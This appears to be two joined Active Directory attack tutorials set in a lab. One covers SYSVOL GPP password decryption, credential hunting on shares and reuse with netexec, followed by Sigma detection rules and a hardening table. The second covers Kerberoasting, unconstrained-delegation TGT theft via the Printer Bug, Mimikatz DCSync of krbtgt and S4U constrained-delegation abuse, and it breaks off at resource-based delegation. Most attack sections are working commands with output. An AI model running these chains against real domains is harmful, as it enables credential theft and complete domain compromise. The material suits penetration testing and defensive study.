\\FS01\Backups\web.config                 14 <add key="DBPassword" value="Summer2024!"/>
\\FS01\Backups\unattend.xml               42       <Value>LabPass1</Value>

SYSVOL and Group Policy Preferences

The classic that still hits hard. Group Policy Preferences once let admins push credentials, and those passwords landed in Groups.xml files in SYSVOL encrypted with a static AES key that Microsoft published. Every authenticated user can read SYSVOL, so every authenticated user can read and decrypt those passwords. This maps to T1552.006.

Enumerate first. PowerSploit’s Get-GPPPassword finds and decrypts them automatically:

Get-GPPPassword -Verbose
VERBOSE: Searching \\corp.local\SYSVOL\corp.local\Policies for Groups.xml
VERBOSE: Found \\corp.local\SYSVOL\corp.local\Policies\{A2F3C1D4-9E55-4F1B-9C77-1B2E3F4A5B6C}\Machine\Preferences\Groups\Groups.xml

UserNames : {Administrator (built-in)}
NewName   : [BLANK]
Passwords : {Summer2024!}
File      : \\corp.local\SYSVOL\corp.local\Policies\{A2F3C1D4-9E55-4F1B-9C77-1B2E3F4A5B6C}\Machine\Preferences\Groups\Groups.xml

To do it by hand, read the file and pull the cpassword:

Get-Content "\\DC01\SYSVOL\corp.local\Policies\{A2F3C1D4-9E55-4F1B-9C77-1B2E3F4A5B6C}\Machine\Preferences\Groups\Groups.xml"
<?xml version="1.0" encoding="utf-8"?>
<Groups>
  <User name="Administrator (built-in)" image="2" changed="2024-03-14 10:11:22">
    <Properties action="U" newName="" fullName=""
      cpassword="j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
      changeLogon="0" acctDisabled="0" userName="Administrator (built-in)"/>
  </User>
</Groups>

Decrypt the cpassword with the public AES key using gpp-decrypt on Kali:

gpp-decrypt "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
Summer2024!

The local Administrator password is Summer2024!. Notice it matches the web.config DB password too, classic password reuse, which means it almost certainly works as the local admin on FS01.

Hunting across the trust

Because the forest trust lets us read foreign SYSVOL and shares, repeat the share discovery against the child and partner subnets:

netexec smb 192.168.20.0/24 -u jdoe -p 'Password1' -d corp.local --shares
SMB  192.168.20.10  445  DC02  [*] Windows Server 2022 Build 20348 x64 (name:DC02) (domain:child.corp.local) (signing:True) (SMBv1:False)
SMB  192.168.20.10  445  DC02  [+] corp.local\jdoe:Password1
SMB  192.168.20.10  445  DC02  Share      Permissions   Remark
SMB  192.168.20.10  445  DC02  NETLOGON   READ          Logon server share
SMB  192.168.20.10  445  DC02  SYSVOL     READ          Logon server share

The cross-domain trust authenticated corp\jdoe against DC02 with no extra effort. That is the trust doing its job, and exactly why trust enumeration came first.


Illustration of a dark vault with filing cabinets and glowing documents rising upward, a magnifying glass revealing a key hidden inside an open folder
File hunting on misconfigured shares surfaces cleartext credentials, SSH keys, and encrypted passwords that any domain user can read and weaponise.

8. Lab Walkthrough: End-to-End Trust-to-Credential Chain

Tie it together. The full chain, from low-priv user to credential reuse:

  1. Trust recon. nltest /domain_trusts and Get-ADTrust revealed an intra-forest trust to child.corp.local and a forest trust to partner.local with SIDFilteringQuarantined : False.
  2. Forest mapping. PowerView and BloodHound graphed the TrustedBy edges and confirmed jdoe can query foreign domains.
  3. Share discovery. NetExec found Backups (Everyone: Read) and IT_Scripts (Authenticated Users: Read) on FS01.
  4. Permission analysis. PowerHuntShares flagged both as excessive-privilege shares.
  5. File hunting. Snaffler and Get-GPPPassword recovered Summer2024!, LabPass1, P@ssw0rd123, an id_rsa, and the GPP local admin password.
  6. Credential reuse / lateral movement PoC. Validate the recovered local admin credential.
netexec smb 192.168.10.20 -u Administrator -p 'Summer2024!' --local-auth
SMB  192.168.10.20  445  FS01  [*] Windows Server 2019 Build 17763 x64 (name:FS01) (domain:corp.local) (signing:False) (SMBv1:False)
SMB  192.168.10.20  445  FS01  [+] FS01\Administrator:Summer2024! (Pwn3d!)

(Pwn3d!) means the GPP-recovered password is local admin on FS01. From here you would dump SAM/LSASS for more credentials. Validate the svc_sql domain credential too:

netexec smb 192.168.10.10 -u svc_sql -p 'P@ssw0rd123' -d corp.local -x "whoami /all"
SMB  192.168.10.10  445  DC01  [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:corp.local) (signing:True) (SMBv1:False)
SMB  192.168.10.10  445  DC01  [+] corp.local\svc_sql:P@ssw0rd123
SMB  192.168.10.10  445  DC01  [+] Executed command via wmiexec
SMB  192.168.10.10  445  DC01  corp\svc_sql  S-1-5-21-1899771348-... SeServiceLogonRight ...

A working domain service account, harvested from a text file on a NETLOGON share. No exploit, no malware, just enumeration and a misconfiguration. The forest trust enumeration in step 1 also leaves the SID-history path against partner.local open as a follow-on, since SID filtering is disabled, but that is its own tutorial.


9. Common Attacker Techniques

TechniqueDescription
Trust enumerationnltest, Get-ADTrust, and DSEnumerateDomainTrusts() to map domains, direction, and SID-filter state.
Cross-trust account enumerationQuerying foreign-domain users/groups over a transitive trust to find targets.
Mass share discoveryNetShareEnum over srvsvc/IPC$ against every computer object pulled from LDAP.
Excessive-privilege share abuseReading shares granting Everyone / Authenticated Users access.
Credential file huntingSnaffler/SmbCrawler crawling for web.config, unattend.xml, id_rsa, .kdbx.
GPP cpassword decryptionRecovering and decrypting Groups.xml passwords from SYSVOL.
Credential reuse / PtHReplaying recovered passwords or NTLM hashes over SMB for lateral movement.
SID-history injectionAbusing trusts with SID filtering disabled to forge privileged SIDs across the boundary.

10. Detection, Threat Hunting, and Hardening

Every step above is loud if you are listening. Pair each phase with the telemetry that catches it.

Windows Security and Directory Service events

Event IDSourceTrigger
4688SecurityProcess creation; with command-line auditing, catches nltest.exe, net.exe view, and PowerShell share cmdlets.
5140SecurityNetwork share object accessed; gives IpAddress and SubjectUserName.
5145SecurityDetailed file-share access check; logs the relative target path and access type.
4663SecurityObject access on files/dirs when a SACL is set; catches reads off sensitive shares.
4776SecurityNTLM credential validation; high volume from one source signals reuse/spraying.
4768 / 4769SecurityKerberos TGT/TGS; cross-domain TGS requests expose inter-domain movement.
1644Directory Service (DC)LDAP search operations; not logged by default, surfaces bulk SharpHound/PowerView queries.

Enable 1644 by setting HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics value 15 Field Engineering to 5.

Sysmon events

Sysmon EIDWhat to hunt
1 (Process Create)nltest.exe, net.exe, PowerShell with share/trust cmdlets via CommandLine.
3 (Network Connect)Mass outbound 445/tcp to many hosts in a short window.
11 (File Create)Snaffler/SharpHound writing log/ZIP output to disk.
17/18 (Named Pipe)srvsvc pipe creation/connection from share enumeration.
22 (DNS Query)Bulk _ldap._tcp.dc._msdcs.* SRV lookups during trust/DC enumeration.

ETW providers worth tapping: Microsoft-Windows-LDAP-Client (client-side query filters, where operatingSystem attribute requests betray computer enumeration), Microsoft-Windows-SMBClient/Security, and Microsoft-Windows-SMBServer/Security.

Sigma rules

Trust discovery via nltest:

title: Domain Trust Discovery via Nltest
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 1
    Image|endswith: '\nltest.exe'
    CommandLine|contains:
      - '/domain_trusts'
      - '/all_trusts'
      - '/dclist'
  condition: selection
level: medium

Mass IPC$ access indicating share sweeping:

title: Mass IPC$ Access Indicating Share Enumeration
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5140
    ShareName: 'IPC$'
  timeframe: 30s
  condition: selection | count(SubjectUserName) by IpAddress > 10
level: high

SYSVOL GPP password file access:

title: Group Policy Preferences Password File Access
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5145
    RelativeTargetName|endswith: '\Groups.xml'
  condition: selection
level: high

Hardening

MitigationDescription
Enable SID filtering on trustsnetdom trust <trusting> /domain:<trusted> /quarantine:Yes; blocks SID-history abuse across the boundary.
Remove GPP passwordsApply KB2962486, delete legacy Groups.xml, rotate every affected account.
Audit share permissionsHunt Everyone / Authenticated Users ACEs on roots and profile shares regularly.
Strip secrets from sharesRemove or encrypt cleartext passwords, SSH keys, and dumps from general-purpose shares.
Restrict null-session enumSet RestrictNullSessAccess and enforce SMB signing to blunt relay/anon NetShareEnum.
Limit LDAP read scopeACL sensitive attributes so regular users cannot bulk-read msDS-* and trust objects.
Enable EID 1644 and 5140/5145Turn on DC LDAP diagnostic logging and Object Access -> File Share auditing.
Selective AuthenticationOn forest trusts, require explicit resource grants instead of transitive access.
Tiered administrationNever log Tier 0 credentials into Tier 1/2 systems where they land in files.

Illustration of a fortified gatehouse with a guard reviewing logs, reinforced trust bridge cables in the background and a shield with an eye symbol on the wall
Detection and hardening close the loop: SID filtering on trust bridges, SYSVOL access auditing, and Sysmon network telemetry together catch every stage of the trust-to-credential chain.

11. Tools for Trust and Share Analysis

ToolDescriptionLink
Nltest / netdomBuilt-in trust and DC enumerationlearn.microsoft.com
PowerViewGet-DomainTrust, Find-DomainShare, Find-InterestingDomainShareFilegithub.com
BloodHound / SharpHoundGraphs trusts and cross-domain attack pathsbloodhoundenterprise.io
NetExecShare enumeration, credential testing, lateral PoCnetexec.wiki
SMBMapPer-share read/write testing, pass-the-hashgithub.com
PowerHuntSharesAutomated share permission and excessive-privilege analysisgithub.com
SnafflerRecursive credential/file hunting across sharesgithub.com
ImpacketGetADUsers.py, wmiexec.py, ticket toolinggithub.com
gpp-decryptDecrypts SYSVOL GPP cpassword valueskali.org
AdFindLDAP query of trusts and OUs (-f "(objectClass=trustedDomain)")joeware.net

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Domain Trust DiscoveryT1482EID 4688/Sysmon 1 for nltest; EID 1644 for LDAP trust queries
Network Share DiscoveryT1135EID 5140/5145; Sysmon 17/18 on srvsvc; mass IPC$ access
File and Directory DiscoveryT1083EID 4663 with SACL; recursive listing patterns
Data from Network Shared DriveT1039EID 5145 read access on sensitive shares; Sysmon 11 output files
Credentials in FilesT1552.0014663 reads of web.config/unattend.xml; Snaffler artifacts
Group Policy PreferencesT1552.006EID 5145 for Groups.xml; SYSVOL access auditing
Account Discovery: Domain AccountT1087.002net user /domain, LDAP user/group queries; EID 1644
Remote Services: SMB Admin SharesT1021.002EID 4624 type 3 + 5140 ADMIN$/C$ access
Use Alternate Auth Material: Pass the HashT1550.0024776 volume; NTLM logons without preceding interactive auth
Access Token Manipulation: SID-History InjectionT1134.0054769 cross-domain with anomalous PAC SIDs; trust quarantine state

Summary

  • Trust enumeration is reconnaissance for lateral movement: it tells you which domains and forests your foothold can reach before you spend a single credential.
  • Intra-forest trusts are transitive by design, and forest trusts with SIDFilteringQuarantined : False are prime escalation paths via SID-history injection (T1134.005).
  • NetShareEnum over the srvsvc pipe and IPC$ drives mass share discovery; tools like NetExec, PowerHuntShares, and Snaffler turn that into excessive-privilege findings and recovered secrets in minutes.
  • The fastest wins are still misconfigured shares and SYSVOL GPP cpassword files, both decryptable or readable by any domain user, leading straight to credential reuse.
  • Detect the chain with Sysmon 1/3/11/17/18, Security 5140/5145/4663, and DC LDAP diagnostic 1644, then harden by enabling SID filtering, stripping secrets from shares, and auditing share ACLs.

Related Tutorials

References

SPN and Delegation Enumeration: Kerberoastable Accounts, Unconstrained, Constrained, and Resource-Based Delegation

Objective: Walk an authenticated domain foothold all the way to Domain Admin by enumerating Service Principal Names and the three Kerberos delegation models, then abusing each one: Kerberoasting weak service passwords, stealing a DC’s TGT through unconstrained delegation, riding S4U through constrained delegation, and taking over a computer object with resource-based constrained delegation. Every attack is paired with the enumeration that finds it and the telemetry that catches it.


Delegation is the part of Active Directory that punishes the gap between “configured years ago” and “still understood.” A service account someone created in 2016 with a six-character password, a print server flagged for unconstrained delegation that nobody decommissioned, a helpdesk group with GenericWrite over half the workstations: each of these collapses the domain when you know what to look for. This guide is enumeration-first by design. You find the opportunity before you ever fire a payload, because in a real engagement the finding is the deliverable and the exploit is just confirmation.

Everything below runs against a self-built lab. Nothing here is aimed at production. Build the range, break it, then read the detection section and learn to see it from the blue side.


1. Lab Build

Stand up one Windows Server 2022 domain controller and three Windows 10 Pro members in VirtualBox or VMware on a host-only network (192.168.56.0/24). Promote DC01 to a forest named lab.local, then create the objects below with their deliberate misconfigurations.

Machine / AccountRoleDeliberate misconfiguration
DC01.lab.local (192.168.56.10)Domain ControllerPrint Spooler left running; default MachineAccountQuota=10
WEB01.lab.localIIS hostTrusted for unconstrained delegation
SQL01.lab.localApp servern/a (hosts svc_sql)
COMP01.lab.localWorkstationRBCD takeover target
svc_iisDomain userSPN HTTP/WEB01.lab.local, RC4 enabled, weak password Summer2023!
svc_sqlDomain userTRUSTED_TO_AUTH_FOR_DELEGATION, msDS-AllowedToDelegateTo = cifs/DC01.lab.local, password SqlPass1!
lowprivDomain userAttacker foothold, password LowPass1!, holds GenericWrite over COMP01$

Provision the delegation flags and the RBCD-precursor ACE on the DC:

# Unconstrained delegation on WEB01
Set-ADAccountControl -Identity WEB01$ -TrustedForDelegation $true

# Constrained delegation w/ protocol transition on svc_sql
Set-ADUser svc_sql -Add @{'msDS-AllowedToDelegateTo'='cifs/DC01.lab.local'}
Set-ADAccountControl svc_sql -TrustedToAuthForDelegation $true

# GenericWrite ACE for lowpriv over COMP01 (RBCD primitive)
dsacls "CN=COMP01,CN=Computers,DC=lab,DC=local" /G "lab\lowpriv:WP;;"
The command completed successfully.

The attacker box is Kali at 192.168.56.50 with Impacket, plus a Windows attack VM carrying Rubeus, PowerView, PowerMad, and Mimikatz for the in-domain operations.


2. Kerberos Authentication Refresher

You cannot abuse Kerberos delegation without a working mental model of the ticket exchange, so build that first.

Kerberos is a ticket-based protocol with three parties: the client, the Key Distribution Center (KDC, which runs on every DC), and the service. The KDC has two faces. The Authentication Service (AS) issues the first ticket, and the Ticket-Granting Service (TGS) issues service tickets thereafter.

The flow:

  1. AS-REQ / AS-REP. The client proves it knows its own password (it encrypts a timestamp with the hash of its password as the pre-auth) and receives a Ticket-Granting Ticket (TGT). The TGT is encrypted with the krbtgt account’s secret key. The client cannot read it; it only stores and presents it.
  2. TGS-REQ / TGS-REP. When the client wants to reach a service, it sends the TGT plus the target service’s SPN to the TGS. The KDC looks up which account owns that SPN, then returns a service ticket (TGS) encrypted with that service account’s key (its NTLM hash for RC4, or its AES key).
  3. AP-REQ. The client presents the service ticket to the service. The service decrypts it with its own key, reads the embedded PAC (Privilege Attribute Certificate), and trusts the group memberships inside it for authorization.
ConceptWhat it actually does
TGTIdentity token issued on AS-REP, encrypted with the krbtgt key, presented back to the KDC
TGS / service ticketIssued by the TGS, encrypted with the service account’s key, presented to the service
PACAuthorization blob inside the ticket carrying SIDs and group membership
Encryption type (etype)0x17/23 = RC4-HMAC (NTLM hash is the key), 0x11/17 = AES128, 0x12/18 = AES256
Forwardable flagPermits a ticket to be re-presented in an S4U2Proxy request

The single fact that makes Kerberoasting possible: a service ticket is encrypted with the service account’s password-derived key, and the KDC will hand a service ticket to any authenticated principal that asks for an SPN. If that key is the RC4 key (the NTLM hash of a human-chosen password), an attacker can crack it offline. AES keys are derived through PBKDF2-style iteration and are vastly harder to attack, which is why encryption type matters at every step below.


Flowchart showing the five-step Kerberos exchange from AS-REQ through AP-REQ, with each ticket and encryption key labelled on every arrow
The KDC encrypts the service ticket with the service account’s own key – the fact that makes Kerberoasting possible.

3. Service Principal Names: Structure, Registration, and Enumeration

A Service Principal Name is the string Kerberos uses to map a service instance to the account that runs it. Format:

ServiceClass/Host:Port/ServiceName
HTTP/WEB01.lab.local
MSSQLSvc/SQL01.lab.local:1433

SPNs live in the servicePrincipalName LDAP attribute. They sit on two kinds of objects, and the distinction is everything:

  • Computer accounts auto-register SPNs (HOST/, CIFS/, LDAP/, etc.). Their passwords are 120+ character machine-generated secrets that rotate every 30 days. Cracking them offline is pointless.
  • User accounts get SPNs when an admin runs a service under a domain user. Those passwords are human-chosen. A user object with a populated servicePrincipalName is a Kerberoasting target.

Enumerate SPNs with raw LDAP

The cleanest enumeration is the LDAP filter itself, which you can run from any authenticated context. This is what every tool wraps.

# Find user objects (not computers) that have an SPN
ldapsearch -x -H ldap://192.168.56.10 -D 'lowpriv@lab.local' -w 'LowPass1!' \
  -b 'DC=lab,DC=local' \
  '(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))' \
  sAMAccountName servicePrincipalName msDS-SupportedEncryptionTypes
# svc_iis, Users, lab.local
dn: CN=svc_iis,CN=Users,DC=lab,DC=local
sAMAccountName: svc_iis
servicePrincipalName: HTTP/WEB01.lab.local
msDS-SupportedEncryptionTypes: 4

# svc_sql, Users, lab.local
dn: CN=svc_sql,CN=Users,DC=lab,DC=local
sAMAccountName: svc_sql
servicePrincipalName: MSSQLSvc/SQL01.lab.local:1433

Two findings. svc_iis has msDS-SupportedEncryptionTypes: 4, which is the RC4-only bit, so its ticket comes back as etype 23 and is the soft target. svc_sql has no encryption-type value set, which means it follows the domain default and is also a candidate. Note svc_sql also carries an SPN, which means we can get its hash and later abuse its delegation rights.

Enumerate with PowerView from a Windows foothold

Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, `
  @{N='enctypes';E={$_.'msds-supportedencryptiontypes'}}
samaccountname serviceprincipalname            enctypes
-------------- --------------------            --------
svc_iis        HTTP/WEB01.lab.local            4
svc_sql        MSSQLSvc/SQL01.lab.local:1433
krbtgt         kadmin/changepw

Ignore krbtgt; it is a built-in and its password is the domain’s crown jewel, not something you roast. The two svc_* accounts are the real findings.

The same view in BloodHound

Run SharpHound, import, and the Kerberoastable Users pre-built query lights up svc_iis and svc_sql. BloodHound’s value is not the list, it is the graph: it shows you what those accounts can reach once cracked, which is how you turn a roast into a path.

sharphound -c All -d lab.local -u lowpriv -p 'LowPass1!' --domaincontroller 192.168.56.10
2024-05-12T14:02:11 INFO  Resolved Collection Methods: Group, Sessions, ...
2024-05-12T14:02:19 INFO  Status: 312 objects finished (+312)
2024-05-12T14:02:20 INFO  Enumeration finished, compressing into 20240512140220_BloodHound.zip

4. Kerberoasting: Mechanics and Exploitation

The enumeration gave us the targets. Now the why: any authenticated user can send a TGS-REQ for HTTP/WEB01.lab.local. The KDC does not check whether you are authorized to use that service; that is the service’s job at AP-REQ time. The KDC simply encrypts the ticket with svc_iis‘s key and hands it back. If that key is RC4 (NTLM hash of Summer2023!), you crack it offline at full GPU speed, never touching the network again.

Request and extract hashes (Impacket, Linux)

GetUserSPNs.py lab.local/lowpriv:'LowPass1!' -dc-ip 192.168.56.10 -request -outputfile kerbhashes.txt
ServicePrincipalName          Name     MemberOf  PasswordLastSet      LastLogon
----------------------------  -------  --------  -------------------  -------------------
HTTP/WEB01.lab.local          svc_iis            2023-06-01 09:14:22  2024-05-10 22:31:07
MSSQLSvc/SQL01.lab.local:1433 svc_sql            2023-06-01 09:18:55  2024-05-11 08:02:44

[*] Saved TGS hashes to kerbhashes.txt
$krb5tgs$23$*svc_iis$LAB.LOCAL$HTTP/WEB01.lab.local*$a1f3...c2d9$8e0b6f...   (truncated)
$krb5tgs$23$*svc_sql$LAB.LOCAL$MSSQLSvc/SQL01.lab.local~1433*$77ce...91ab$f0a2...

The $krb5tgs$23$ prefix confirms RC4 (etype 23). If you see $krb5tgs$18$ that is AES256 and you switch hashcat mode. RC4 prefixes start $krb5tgs$23$*, AES128 $krb5tgs$17$*, AES256 $krb5tgs$18$*.

In-memory request from Windows (Rubeus)

/stats first so you know what you are about to touch and how loud it will be.

Rubeus.exe kerberoast /stats
[*] Total kerberoastable users : 2

 ------------------------------------------------------------
 | Supported Encryption Type        | Count |
 ------------------------------------------------------------
 | RC4_HMAC_DEFAULT                 | 1     |
 | (unspecified - likely RC4)       | 1     |
 ------------------------------------------------------------
Rubeus.exe kerberoast /outfile:hashes.txt /rc4opsec
[*] Roasting accounts with RC4 enabled (/rc4opsec)
[*] SamAccountName         : svc_iis
[*] DistinguishedName      : CN=svc_iis,CN=Users,DC=lab,DC=local
[*] ServicePrincipalName   : HTTP/WEB01.lab.local
[*] Hash written to hashes.txt

/rc4opsec only roasts accounts already configured for RC4 so you do not trip the “RC4 requested in an AES domain” detection. Drop the flag only when you must roast an AES account.

Crack offline (hashcat)

hashcat -m 13100 kerbhashes.txt rockyou.txt --rules-file best64.rule
$krb5tgs$23$*svc_iis$LAB.LOCAL$HTTP/WEB01.lab.local*$a1f3...:Summer2023!

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Recovered........: 1/2 (50.00%) Digests

svc_iis cracks to Summer2023!. Mode 13100 is RC4 TGS, 19600 is AES128, 19700 is AES256. The AES modes need real wordlist quality because GPU rates collapse against the iteration count.

Targeted Kerberoasting

If you only have GenericWrite over a user (no SPN yet), write a fake SPN, roast, and clear it. This converts an ACL edge into a crackable hash.

Set-DomainObject -Identity helpdesk_svc -Set @{serviceprincipalname='fake/roastme'} -Verbose
Rubeus.exe kerberoast /user:helpdesk_svc /outfile:targeted.txt
Set-DomainObject -Identity helpdesk_svc -Clear serviceprincipalname
[Set-DomainObject] Setting 'serviceprincipalname' to 'fake/roastme' for object 'helpdesk_svc'
[*] Hash written to targeted.txt
[Set-DomainObject] Clearing 'serviceprincipalname' for object 'helpdesk_svc'

Kerberoasting deliberately excludes computer accounts because their machine-generated passwords are not crackable. A non-empty servicePrincipalName on a user is the entire signal.


5. Unconstrained Delegation: Enumeration and TGT Theft

Unconstrained delegation is the oldest and most dangerous model. When a host is “trusted for delegation,” any user who authenticates to it via Kerberos has their full TGT cached in the host’s LSASS, so the host can impersonate them to anything. If you own that host, you own every TGT that lands there, including a Domain Controller’s if you can coerce it to connect.

Enumerate unconstrained hosts

The flag is TRUSTED_FOR_DELEGATION (0x80000 / 524288) in userAccountControl. The bitwise LDAP matching rule finds it precisely.

Get-DomainComputer -Unconstrained | Select-Object dnshostname, useraccountcontrol
dnshostname        useraccountcontrol
-----------        ------------------
DC01.lab.local     WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION, SERVER_TRUST_ACCOUNT
WEB01.lab.local    WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
# Raw LDAP equivalent
ldapsearch -x -H ldap://192.168.56.10 -D 'lowpriv@lab.local' -w 'LowPass1!' \
  -b 'DC=lab,DC=local' \
  '(userAccountControl:1.2.840.113556.1.4.803:=524288)' dNSHostName
dn: CN=WEB01,OU=Servers,DC=lab,DC=local
dNSHostName: WEB01.lab.local

DCs always show the flag, that is expected. WEB01 showing it is the finding: a member server that should never have been trusted for delegation. We already cracked svc_iis, which is local admin on WEB01, so we have a path onto the box.

Monitor LSASS for incoming TGTs

On WEB01, with admin, start Rubeus in monitor mode to harvest any TGT that arrives.

Rubeus.exe monitor /interval:1 /nowrap
[*] Action: TGT Monitoring
[*] Monitoring every 1 seconds for new TGTs

Coerce the DC to authenticate (Printer Bug)

The DC will not just connect to WEB01. We force it. The MS-RPRN “Printer Bug” makes a remote spooler call back to an attacker-supplied host using the machine account, which means the DC’s TGT lands in WEB01‘s LSASS.

python3 printerbug.py 'lab.local/lowpriv:LowPass1!'@192.168.56.10 WEB01.lab.local
[*] Impacket v0.11.0
[*] Attempting to trigger authentication via rprn RPC at 192.168.56.10
[*] Bind OK
[*] Got handle
DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Triggered RPC backconnect, this may or may not have worked

The access-denied at the tail is normal; the backconnect still fires. Back in the monitor window:

[*] 5/12/2024 2:41:09 PM UTC - Found new TGT:
  User                  :  DC01$@LAB.LOCAL
  StartTime             :  5/12/2024 2:41:09 PM
  EndTime               :  5/13/2024 12:41:09 AM
  RenewTill             :  5/19/2024 2:41:09 PM
  Flags                 :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
  Base64EncodedTicket   :
    doIFxj...AABBQ== (truncated)

Pass-the-Ticket and DCSync

Inject DC01$‘s TGT, then DCSync as a machine account that has replication rights (a DC computer account does).

Rubeus.exe ptt /ticket:doIFxj...AABBQ==
klist
[*] Action: Import Ticket
[+] Ticket successfully imported!

Cached Tickets: (1)
  #0> Client: DC01$ @ LAB.LOCAL
      Server: krbtgt/LAB.LOCAL @ LAB.LOCAL
      Flags: forwardable, forwarded, renewable, pre_authent
mimikatz # lsadump::dcsync /domain:lab.local /user:lab\krbtgt
[DC] 'lab.local' will be the domain
[DC] 'DC01.lab.local' will be the DC server
[DC] 'lab\krbtgt' will be the user account

Object RID           : 502
SAM Username         : krbtgt
Credentials:
  Hash NTLM: 8a6c2f1e... (truncated)
    aes256_hmac : b3d9... (truncated)

With the krbtgt hash you forge Golden Tickets at will. Unconstrained delegation plus one coercion primitive turns a member-server foothold into full domain compromise. The defensive read: kill the Print Spooler on DCs and remove unconstrained delegation from everything that is not a DC.


6. Constrained Delegation: S4U2Proxy and Protocol Transition Abuse

Constrained delegation was Microsoft’s answer to the unconstrained nightmare. Instead of caching every TGT, an account lists exactly which service SPNs it may delegate to in msDS-AllowedToDelegateTo. The delegation is performed through two MS-SFU protocol extensions:

  • S4U2Self lets a service ask the KDC for a service ticket to itself on behalf of any named user, even one who never used Kerberos. This is “Protocol Transition.” It bridges NTLM (or no auth at all) into a Kerberos ticket.
  • S4U2Proxy takes that forwardable ticket and exchanges it for a ticket to one of the SPNs in msDS-AllowedToDelegateTo.

The dangerous combination: if an account has TRUSTED_TO_AUTH_FOR_DELEGATION set (the Protocol Transition / “use any authentication protocol” radio button), S4U2Self yields a forwardable ticket, and S4U2Proxy then impersonates any user, including Domain Admin, to the allowed service. No password for that user required.

Enumerate constrained delegation

TRUSTED_TO_AUTH_FOR_DELEGATION is bit 0x1000000 (16777216).

Get-DomainUser -TrustedToAuth | Select-Object samaccountname, `
  @{N='allowedto';E={$_.'msds-allowedtodelegateto'}}
samaccountname allowedto
-------------- ---------
svc_sql        cifs/DC01.lab.local
# Raw LDAP check for the protocol-transition bit
ldapsearch -x -H ldap://192.168.56.10 -D 'lowpriv@lab.local' -w 'LowPass1!' \
  -b 'DC=lab,DC=local' \
  '(userAccountControl:1.2.840.113556.1.4.803:=16777216)' \
  sAMAccountName msDS-AllowedToDelegateTo
dn: CN=svc_sql,CN=Users,DC=lab,DC=local
sAMAccountName: svc_sql
msDS-AllowedToDelegateTo: cifs/DC01.lab.local

The finding: svc_sql is trusted to authenticate for delegation and may delegate to cifs/DC01.lab.local. Because we Kerberoasted svc_sql earlier (it had an SPN) and we know its password is SqlPass1!, we control it. That means we can impersonate Domain Admin to the file system of the DC.

Run the S4U chain (Rubeus, Windows)

First a TGT for the controlled account, then the S4U exchange.

Rubeus.exe asktgt /user:svc_sql /password:SqlPass1! /domain:lab.local /nowrap
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 5f4dcc3b...
[+] TGT request successful!
[*] base64(ticket.kirbi):
    doIE+jCCBP...AABBQ==
Rubeus.exe s4u /ticket:doIE+jCCBP...AABBQ== /impersonateuser:Administrator /msdsspn:"cifs/DC01.lab.local" /nowrap /ptt
[*] Action: S4U
[*] Building S4U2self request for: svc_sql@LAB.LOCAL
[*] Impersonating user 'Administrator' to target SPN 'cifs/DC01.lab.local'
[+] S4U2self success!
[*] Building S4U2proxy request for service: 'cifs/DC01.lab.local'
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/DC01.lab.local':
    doIGdj...AABBQ==
[+] Ticket successfully imported!

Confirm impersonation

klist
dir \\DC01.lab.local\C$
#0> Client: Administrator @ LAB.LOCAL
    Server: cifs/DC01.lab.local @ LAB.LOCAL

 Directory of \\DC01.lab.local\C$
05/12/2024  02:55 PM    <DIR>          Windows
05/12/2024  09:10 AM    <DIR>          Users
05/12/2024  09:10 AM    <DIR>          Program Files

The altservice trick: pivot CIFS to LDAP for DCSync

Kerberos does not validate the service class in the returned ticket at the KDC, so a ticket minted for cifs/DC01 can be rewritten to ldap/DC01 on the same host. That promotes file access into directory replication.

Rubeus.exe s4u /ticket:doIE+jCCBP...AABBQ== /impersonateuser:Administrator /msdsspn:"cifs/DC01.lab.local" /altservice:"ldap/DC01.lab.local" /nowrap /ptt
[*] Substituting alternative service name 'ldap/DC01.lab.local'
[+] S4U2proxy success!
[+] Ticket successfully imported!
mimikatz # lsadump::dcsync /domain:lab.local /user:lab\Administrator
SAM Username : Administrator
Credentials:
  Hash NTLM: e19ccf75ee54e06b06a5907af13cef42

Linux equivalent (Impacket)

getST.py -dc-ip 192.168.56.10 -spn cifs/DC01.lab.local -impersonate Administrator lab.local/svc_sql:'SqlPass1!'
[*] Getting TGT for user
[*] Impersonating Administrator
[*]   Requesting S4U2self
[*]   Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_DC01.lab.local@LAB.LOCAL.ccache
export KRB5CCNAME=Administrator@cifs_DC01.lab.local@LAB.LOCAL.ccache
secretsdump.py -k -no-pass DC01.lab.local
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
lab.local\Administrator:500:aad3b...:e19ccf75ee54e06b06a5907af13cef42:::
krbtgt:502:aad3b...:8a6c2f1e...:::

Step-by-step flow diagram of the S4U2Self then S4U2Proxy constrained delegation chain from attacker-controlled svc_sql to a DCSync-ready LDAP ticket on DC01
Protocol Transition lets svc_sql mint a forwardable ticket for any user – including Domain Admin – without ever knowing their password.

7. Resource-Based Constrained Delegation: Computer Object Takeover

RBCD inverts the trust direction. Classic constrained delegation lists outbound targets on the delegating account, which requires domain-level write to configure. RBCD puts the trust on the resource: the target computer’s msDS-AllowedToActOnBehalfOfOtherIdentity attribute names which accounts may delegate to it. The catch that makes RBCD a workhorse for attackers: you only need write access to one computer object (GenericWrite / WriteProperty), not domain admin, to configure it. Combine that with the default MachineAccountQuota=10 (any user can create up to ten computer accounts) and you have a self-contained takeover primitive.

Enumerate the write primitive

We provisioned lowpriv with GenericWrite over COMP01$. Find it with BloodHound’s Cypher console:

MATCH p=(u:User {name:"LOWPRIV@LAB.LOCAL"})-[:GenericWrite]->(c:Computer)
RETURN p
